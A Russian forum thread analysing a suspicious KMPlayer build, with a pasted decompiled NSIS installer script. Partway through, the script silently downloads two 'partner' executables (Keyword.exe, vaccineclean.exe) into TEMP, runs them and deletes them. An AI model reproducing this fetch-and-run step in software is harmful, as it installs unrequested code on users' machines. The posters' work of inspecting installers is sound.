Engaged Clown Shteger На корейском форуме, принадлежащем Пандора, есть пост якобы от имени
isroot :
я сделал снимок автоперевода этой страницы, но предлагаю у самого
isroot спросить - не просто так он просил пока подождать с публикацией. Та сборка, для которой я привёл SHA-256 была выложена им в модерке 17.03.2011, тут размеры похожи, и версия вроде та, но надо код сравнивать. Это потребует времени, ждите что выйдет - скажу.Исходников нет, придётся бинарники сверять.
Ребята, похоже это очередной китайский левак - с Pandora TV из того поста, что я привёл качается обычный 1439, здесь что-то похожее на 1440, но смотрите что в [more=скрипте установки]Call 1131
SetFlag 13 0
File $PLUGINSDIR\modern-wizard.bmp
Return
GetFunctionAddress 0 0
ShowWindow 96 100
ShowWindow 102 100
ShowWindow 106 100
ShowWindow 110 100
ShowWindow 114 100
ShowWindow 118 100
ShowWindow 122 126
GetFunctionAddress 1 0
Return
GetFunctionAddress 0 0
ShowWindow 96 126
ShowWindow 102 126
ShowWindow 106 126
ShowWindow 110 126
ShowWindow 114 126
ShowWindow 118 126
ShowWindow 122 100
GetFunctionAddress 1 0
Return
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push 1044
RegisterDLL $PLUGINSDIR\nsDialogs.dll Create 0
Pop $[44]
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -38
RegisterDLL $PLUGINSDIR\nsDialogs.dll SetRTL 0
SerCtlColors 165 0 0
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push
Push 193u
Push 109u
Push 0u
Push 0u
Push 0
Push 0x40000000|0x10000000|0x04000000|0x0000000E|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[45]
Push $0
Push $1
Push $2
Push $R0
StrCpy $R0 "$[45]"
StrCpy $1 ""
StrCpy $2 ""
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *(i, i, i, i) i.s
RegisterDLL $PLUGINSDIR\System.dll Call 0
Pop $0
IntCmp $0 0 81 0 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push user32::GetClientRect(iR0, ir0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *$0(i, i, i .s, i .s)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $0
RegisterDLL $PLUGINSDIR\System.dll Free 0
Pop $1
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $PLUGINSDIR\modern-wizard.bmp
Push user32::LoadImage(i0, ts, i 0, ir1, ir2, i0x0010) i.s
RegisterDLL $PLUGINSDIR\System.dll Call 0
Pop $0
SendMessage $R0 0x0172 100 258
Pop $R0
Pop $2
Pop $1
Push $0
Exch
Pop $0
Pop $[46]
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push Welcome to the The KMPlayer Setup Wizard
Push 28u
Push 195u
Push 10u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[47]
SerCtlColors 551 0 0
CreateFont 48 -39 555 558 0
SendMessage $[47] 0x0030 562 100
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -40
Push 130u
Push 195u
Push 45u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[49]
SerCtlColors 582 0 0
Call 5
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\nsDialogs.dll Show 0
Call 15
IntCmp $[46] 0 139 0 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $[46]
Push gdi32::DeleteObject(is)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Return
Return
SendMessage $[32] 0x000C 100 -43
SendMessage $[34] 0x000C 100 -44
Return
FindWindow 50 628 0 635 0
GetDlgItem $[51] $[50] 1040
GetDlgItem $[52] $[50] 1006
GetDlgItem $[53] $[50] 1000
SendMessage $[51] 0x000C 100 -45
Return
Return
SendMessage $[32] 0x000C 100 -46
SendMessage $[34] 0x000C 100 -47
Return
FindWindow 54 628 0 635 0
GetDlgItem $[55] $[54] 1006
GetDlgItem $[56] $[54] 1021
GetDlgItem $[57] $[54] 1022
GetDlgItem $[58] $[54] 1017
GetDlgItem $[59] $[54] 1032
GetDlgItem $[60] $[54] 1042
GetDlgItem $[62] $[54] 1043
GetDlgItem $[64] $[54] 1023
GetDlgItem $[63] $[54] 1257
SendMessage $[60] 0x000C 100 -48
ShowWindow 710 100
SendMessage $[62] 0x000C 100 -49
StrCpy $[61] "-49"
Return
Return
SendMessage $[32] 0x000C 100 -50
SendMessage $[34] 0x000C 100 -51
Return
FindWindow 65 628 0 635 0
GetDlgItem $[66] $[65] 1006
GetDlgItem $[67] $[65] 1020
GetDlgItem $[68] $[65] 1019
GetDlgItem $[69] $[65] 1001
GetDlgItem $[70] $[65] 1023
GetDlgItem $[71] $[65] 1024
Return
Return
SendMessage $[32] 0x000C 100 -52
SendMessage $[34] 0x000C 100 -53
Return
FindWindow 72 628 0 635 0
GetDlgItem $[73] $[72] 1006
GetDlgItem $[74] $[72] 1004
GetDlgItem $[75] $[72] 1027
GetDlgItem $[76] $[72] 1016
Return
IfFlag 195 0 3 -1
SendMessage $[32] 0x000C 100 -54
SendMessage $[34] 0x000C 100 -55
Goto 197
SendMessage $[32] 0x000C 100 -56
SendMessage $[34] 0x000C 100 -57
IfFlag 198 0 3 -1
Return
Call 1131
SetFlag 13 0
File $PLUGINSDIR\modern-wizard.bmp
Call 1
SetFlag 0 126
Return
ShellExecute 757 762 0 1
Return
SendMessage $[41] 0x000C 100 -58
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push 1044
RegisterDLL $PLUGINSDIR\nsDialogs.dll Create 0
Pop $[77]
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -38
RegisterDLL $PLUGINSDIR\nsDialogs.dll SetRTL 0
SerCtlColors 833 0 0
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push
Push 193u
Push 109u
Push 0u
Push 0u
Push 0
Push 0x40000000|0x10000000|0x04000000|0x0000000E|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[78]
Push $0
Push $1
Push $2
Push $R0
StrCpy $R0 "$[78]"
StrCpy $1 ""
StrCpy $2 ""
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *(i, i, i, i) i.s
RegisterDLL $PLUGINSDIR\System.dll Call 0
Pop $0
IntCmp $0 0 264 0 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push user32::GetClientRect(iR0, ir0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push *$0(i, i, i .s, i .s)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $0
RegisterDLL $PLUGINSDIR\System.dll Free 0
Pop $1
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $PLUGINSDIR\modern-wizard.bmp
Push user32::LoadImage(i0, ts, i 0, ir1, ir2, i0x0010) i.s
RegisterDLL $PLUGINSDIR\System.dll Call 0
Pop $0
SendMessage $R0 0x0172 100 258
Pop $R0
Pop $2
Pop $1
Push $0
Exch
Pop $0
Pop $[79]
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -59
Push 28u
Push 195u
Push 10u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[80]
SerCtlColors 841 0 0
CreateFont 81 -39 555 558 0
SendMessage $[80] 0x0030 845 100
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -60
Push 40u
Push 195u
Push 45u
Push 120u
Push 0x00000020
Push 0x40000000|0x10000000|0x04000000|0x00000100
Push STATIC
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[82]
SerCtlColors 853 0 0
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push -61
Push 10u
Push 195u
Push 90u
Push 120u
Push 0
Push 0x40000000|0x10000000|0x04000000|0x00010000|0x00000000|0x00000C00|0x00000003|0x00002000
Push BUTTON
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[84]
SerCtlColors 956 0 0
SendMessage $[84] 0x00F1 126 100
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push user32::SetFocus(i$[84])
RegisterDLL $PLUGINSDIR\System.dll Call 0
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push Visit the KMP site for the latest news, FAQs and support
Push 10u
Push 195u
Push 175u
Push 120u
Push 0
Push 0x40000000|0x10000000|0x04000000|0x00010000|0x0000000B
Push LINK
RegisterDLL $PLUGINSDIR\nsDialogs.dll CreateControl 0
Pop $[85]
SerCtlColors 1112 24 0
Push $0
Push $1
StrCpy $1 "$[85]"
StrCpy $0 "205"
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
Push $0
Push $1
RegisterDLL $PLUGINSDIR\nsDialogs.dll OnClick 0
Pop $1
Pop $0
Call 5
Call 1131
File $PLUGINSDIR\nsDialogs.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\nsDialogs.dll Show 0
Call 15
IntCmp $[79] 0 368 0 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $[79]
Push gdi32::DeleteObject(is)
RegisterDLL $PLUGINSDIR\System.dll Call 0
Return
SendMessage $[84] 0x00F0 100 100 $[956]
IntCmp $[83] 1 0 372 372
Execute 1139 0 0
Return
GetDlgItem $[32] $HWNDPARENT 1037
CreateFont 33 -39 -62 558 0
SendMessage $[32] 0x0030 1167 100
GetDlgItem $[34] $HWNDPARENT 1038
SerCtlColors 106 0 0
SerCtlColors 110 0 0
Call 1131
SetFlag 13 0
File $PLUGINSDIR\modern-header.bmp
SetBrandingImage 1176
GetDlgItem $[35] $HWNDPARENT 1034
SerCtlColors 1203 0 0
GetDlgItem $[36] $HWNDPARENT 1039
SerCtlColors 114 0 0
GetDlgItem $[38] $HWNDPARENT 1028
SerCtlColors 96 48 0
GetDlgItem $[37] $HWNDPARENT 1256
SerCtlColors 102 48 0
SendMessage $[37] 0x000C 100 1222
GetDlgItem $[39] $HWNDPARENT 1035
GetDlgItem $[40] $HWNDPARENT 1045
GetDlgItem $[41] $HWNDPARENT 1
GetDlgItem $[42] $HWNDPARENT 2
GetDlgItem $[43] $HWNDPARENT 3
Call 199
Return
MessageBox 52 -63 6 401 0
Abort
Return
Call 1131
SetFlag 13 0
File $PLUGINSDIR\splash.bmp
Call 1131
File $PLUGINSDIR\AdvSplash.dll
SetFlag 13 0
Push $PLUGINSDIR\splash
Push -1
Push 400
Push 600
Push 1000
RegisterDLL $PLUGINSDIR\AdvSplash.dll show 0
Pop $0
Delete $PLUGINSDIR\splash.bmp
Push
Push 1033
Push English
Push 1042
Push Korean
Push A
Call 1131
File $PLUGINSDIR\LangDLL.dll
SetFlag 13 0
Push Please select the language of the installer
Push Installer Language
RegisterDLL $PLUGINSDIR\LangDLL.dll LangDialog 0
Pop $LANGUAGE
StrCmp "$LANGUAGE" "cancel" 0 431 0
Abort
Return
SetOutPath $INSTDIR
File KMPlayer.exe
WriteUninstaller uninstall.exe 56608554 17578
Return
SetOutPath $INSTDIR
Push $R0
SetFlag 2 100
Call 1131
File $PLUGINSDIR\Dialer.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\Dialer.dll AttemptConnect 0
Pop $R0
StrCmp "$R0" "online" 446 0 0
Goto 461
StrCpy $R1 "Keyword"
StrCpy $R2 "$TEMP\KMPlayer_Addon$R1.exe"
StrCpy $R3 "http://cdn.kmplayer.com/KMP/Download/Partner/$R1.exe" /* скачается
http://cdn.kmplayer.com/KMP/Download/Partner/Keyword.exe */
Call 1131
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $R2
Push $R3
RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
Pop $0
StrCmp "$0" "success" 458 0 0
Goto 461
Execute 1646 -1 1
Sleep 653
Delete "$R2"
Return
SetOutPath $INSTDIR
Push $R0
SetFlag 2 100
Call 1131
File $PLUGINSDIR\Dialer.dll
SetFlag 13 0
RegisterDLL $PLUGINSDIR\Dialer.dll AttemptConnect 0
Pop $R0
StrCmp "$R0" "online" 472 0 0
Goto 487
StrCpy $R1 "vaccineclean"
StrCpy $R2 "$TEMP\KMPlayer_Addon$R1.exe"
StrCpy $R3 "http://cdn.kmplayer.com/KMP/Download/Partner/$R1.exe" /* скачается -
http://cdn.kmplayer.com/KMP/Download/Partner/vaccineclean.exe */
Call 1131
File $PLUGINSDIR\NSISdl.dll
SetFlag 13 0
Push $R2
Push $R3
RegisterDLL $PLUGINSDIR\NSISdl.dll download 0
Pop $0
StrCmp "$0" "success" 484 0 0
Goto 487
Execute 1665 -1 1
Sleep 653
Delete "$R2"
Return
SetOutPath $INSTDIR
File AboutDLL.dll
File DTView.dll
File PProcDLL.DLL
File URLList.txt
File libmplay.dll
File Old_QUARTZ.DLL
File bass.dll
File bass_alac.dll
File bass_ape.dll
File bass_flac.dll
File bass_mpc.dll
File bass_tta.dll
File bass_wv.dll
File ColorTheme.ini
File unrarDLL.dll
File ImLoader.dll
File KIconLib.dll
File MediaInfo.dll
File gpl.txt
File LGPL.TXT
File files.txt
File KMPSetup.exe
File KMP_Album_Art.swf
File KMPAlbumArt.dll
SetOutPath $INSTDIR\WizardLanguage
File KMPWiz_Albanian.ini
File KMPWiz_Bosanski.ini
File KMPWiz_Brazilian_Portuguese.ini
File KMPWiz_Bulgarian.ini
File KMPWiz_Chinese_Traditional.ini
File KMPWiz_Chinese_simple.ini
File KMPWiz_English_External.ini
File KMPWiz_Estonian.ini
File KMPWiz_Farsi.ini
File KMPWiz_Finnish.ini
File KMPWiz_French.ini
File KMPWiz_German.ini
File KMPWiz_Greek.ini
File KMPWiz_Hungarian(Magyar).ini
File KMPWiz_Hungarian(Magyar)_External.ini
File KMPWiz_Italian.ini
File KMPWiz_Japanese.ini
File KMPWiz_Polish.ini
File KMPWiz_Romanian(cu_diacritice).ini
File KMPWiz_Romanian(fara_diacritice).ini
File KMPWiz_Russian.ini
File KMPWiz_Spanish.ini
File KMPWiz_Swedish.ini
File KMPWiz_Thai.ini
File KMPWiz_catal.ini
SetOutPath $INSTDIR\Language
File Albanian.ini
File Arabic.ini
File Belarusian.ini
File Brazilian Portuguese.ini
File Bulgarian.ini
File Chinesebig5.ini
File Chinesesimp.ini
File Czech.ini
File Dutch.ini
File English.ini
File EnglishUK.ini
File Farsi.ini
File Finnish.ini
File French.ini
File German.ini
File Greek.ini
File Hebrew.ini
File Hungarian.ini
File Italian.ini
File Japanese.ini
File Korean.ini
File Polish.ini
File Portuguese.ini
File Romanian.ini
File Russian.ini
File Spanish.ini
File Swedish.ini
File Thai.ini
File Turkish.ini
File Ukrainian.ini
File Vietnam.ini
SetOutPath $INSTDIR\Shader
File Contour.txt
File Deinterlace (blend).txt
File DisplayLessThan16 v1_1.txt
File EdgeSharpen v1_1(jim ro).txt
File EdgeSharpen v1_1.txt
File Emboss.txt
File Invert.txt
File Letterbox.txt
File Procamp.txt
File Remap_16_235.txt
File SharpenComplex (jim ro).txt
File SharpenFlou (jim ro).txt
File Sharpen_3x3.txt
File Sharpen_5x5.txt
File Sphere.txt
File Spotlight.txt
File Undot.txt
File Unsharp mask.txt
File Wave.txt
Return
SetOutPath $INSTDIR
File libcodec.dll
File xviddll.dll
File libmpeg2.dll
File libfaad2.dll
File libmad.dll
File theora.dll
File OggVorbis.dll
File libdts.dll
File liba52.dll
File realaac.dll
File libfaac.dll
Return
SetOutPath $INSTDIR
File ac3filter.ax
File iconv.dll
File RealMediaSplitter.ax
File MatroskaSplitter.ax
File AviSplitter.ax
File OggSplitter.ax
File MMSwitch.ax
File MpegSplitter.ax
File Mpeg2DecFilter.ax
File MpaDecFilter.ax
File DiracSplitter.ax
File RoQSplitter.ax
File NutSplitter.ax
File MpaSplitter.ax
File DSMSplitter.ax
File aac_parser.ax
File audioswitcher.ax
File MP4Splitter.ax
File qscl.dll
File FLVSplitter.ax
Return
SetOutPath $INSTDIR\PlugIns
File IN_MP3.DLL
File dsp_enh.dll
File enc_aac.dll
File enc_aacplus.dll
File enc_lame.dll
File enc_mp4.dll
File enc_vorbis.dll
File enc_wma.dll
File gen_hotkeys.dll
File gen_ml.dll
File gen_ml.ini
File in_mp4.dll
File in_nsv.dll
File in_vorbis.dll
File in_wm.dll
File lame_enc.dll
File lamedll.dll
File libmp4v2.dll
File nsvdec_vp5.dll
File nsvdec_vp6.dll
File wmahelp.dll
Return
SetOutPath $INSTDIR\Skins
File Default.ksf
Return
SetOutPath $INSTDIR\SDK
File KMPPlgIn.dcu
File KMPPlgIn.h
File KMPPlgIn.pas
File readme.txt
SetOutPath $INSTDIR\SDK\Exam_C
File DSP_TestC.cpp
File DSP_TestC.def
File DSP_TestC.dsp
File DSP_TestC.dsw
File DSP_TestC.ncb
File ReadMe.txt
File StdAfx.cpp
File StdAfx.h
SetOutPath $INSTDIR\SDK\Exam_Delphi
File dsp_TestPas.cfg
File dsp_TestPas.dof
File dsp_TestPas.dpr
File dsp_TestPas.res
SetOutPath $INSTDIR\SDK\WinampVis
File VisMain.dfm
File VisMain.pas
File WinampVisBase.pas
File dsp_winampvis.cfg
File dsp_winampvis.dof
File dsp_winampvis.dpr
File dsp_winampvis.res
Return
SetOutPath $INSTDIR
SetOutPath $COMMONFILES\The KMPlayer
CreateShortCut "$COMMONFILES\The KMPlayer\KMPlayer.lnk" "$INSTDIR\KMPlayer.exe" 0 0 0
CreateShortCut "$COMMONFILES\The KMPlayer\KMPlayer Setup Wizard.lnk" "$INSTDIR\KMPSetup.exe" 0 0 0
WriteINIStr 4386 4403 -81 4407
CreateShortCut "$COMMONFILES\The KMPlayer\Uninstall KMPlayer.lnk" "$INSTDIR\uninstall.exe" 0 0 0
CreateShortCut "$COMMON_DESKTOPDIRECTORY\KMPlayer.lnk" "$INSTDIR\KMPlayer.exe" 0 0 0
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\The KMPlayer" "DisplayName" "The KMPlayer (remove only)"
WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\The KMPlayer" "UninstallString" ""$INSTDIR\uninstall.exe""
WriteRegStr HKCU "SOFTWARE\KMPlayer\KMP2.0\OptionArea" "InstallPath" "$INSTDIR\KMPlayer.exe"
Return
SetOutPath $INSTDIR
Execute 4692 -1 1
Sleep 4720
Return
StrCmp "$0" "-1" 0 701 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 100
SendMessage $[62] 0x000C 100 4724
Goto 1130
StrCmp "$0" "0" 0 744 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -82
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 738 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "3" 0 787 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -83
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 781 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "4" 0 830 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -84
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 824 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "5" 0 873 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -85
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 867 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "6" 0 916 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -86
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 910 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "7" 0 959 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -87
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 953 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "8" 0 1002 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -88
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 996 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "9" 0 1045 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -89
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 1039 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "1" 0 1088 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -90
File $PLUGINSDIR\Description.txt
Push $0
Push $1
Push $2
Push $3
SetFlag 2 100
FileOpen 0 2147483648 3 4728
IfFlag 1082 0 2 0
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::GetFileSize(i r0, i 0) i .r1
RegisterDLL $PLUGINSDIR\System.dll Call 0
IntOp $1 $1 + 1
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $1
RegisterDLL $PLUGINSDIR\System.dll Alloc 0
Pop $2
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push kernel32::ReadFile(i r0, i r2, i r1, *i .r3, i 0)
RegisterDLL $PLUGINSDIR\System.dll Call 0
FileClose 0
SendMessage $[63] 0x00C5 262 100
SendMessage $[63] 0x000C 100 266
Call 1131
File $PLUGINSDIR\System.dll
SetFlag 13 0
Push $2
RegisterDLL $PLUGINSDIR\System.dll Free 0
SetFlag 2 100
Pop $3
Pop $2
Pop $1
Pop $0
Goto 1130
StrCmp "$0" "2" 0 1130 0
SendMessage $[62] 0x000C 100 0
ShowWindow 710 126
SendMessage $[62] 0x000C 100 -91
File $PLUGINSDIR\Description.txt
Push $0
Push $1
